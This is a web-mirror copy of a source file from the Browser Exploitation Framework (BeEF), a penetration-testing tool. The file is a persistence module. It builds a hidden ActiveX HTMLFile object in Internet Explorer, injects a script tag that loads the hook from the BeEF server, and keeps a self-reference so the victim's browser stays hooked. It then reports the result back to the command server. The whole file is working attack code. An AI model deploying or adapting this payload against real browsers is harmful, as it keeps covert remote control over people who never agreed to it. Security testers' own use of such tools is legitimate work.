Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/persistence/invisible_htmlfile_activex/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
try {
9
var hook_url = beef.net.httpproto + '://' + beef.net.host+ ':' + beef.net.port + beef.net.hook;
10
11
// create HMTL document
12
beef.debug("[Invisible HTMLFile ActiveX] Creating HTMLFile ActiveX object");
13
doc = new ActiveXObject("HtmlFile");
14
doc.open();
15
doc.write('<html><body><script src="'+hook_url+'"><\/script></body></html>');
16
doc.close();
17
18
// Save a self-reference
19
doc.Script.doc = doc;
20
21
// Prevent IE from destroying the previous reference
22
window.open("","_self");
23
beef.net.send("<%= @command_url %>", <%= @command_id %>, "success=created HTMLFile ActiveX object", beef.are.status_success());
24
} catch (e) {
25
beef.debug("[Invisible HTMLFile ActiveX] could not create HTMLFile ActiveX object: "+e.message)
26
beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not create HTMLFile ActiveX object: " + e.message, beef.are.status_error());
27
}
28
});
29
30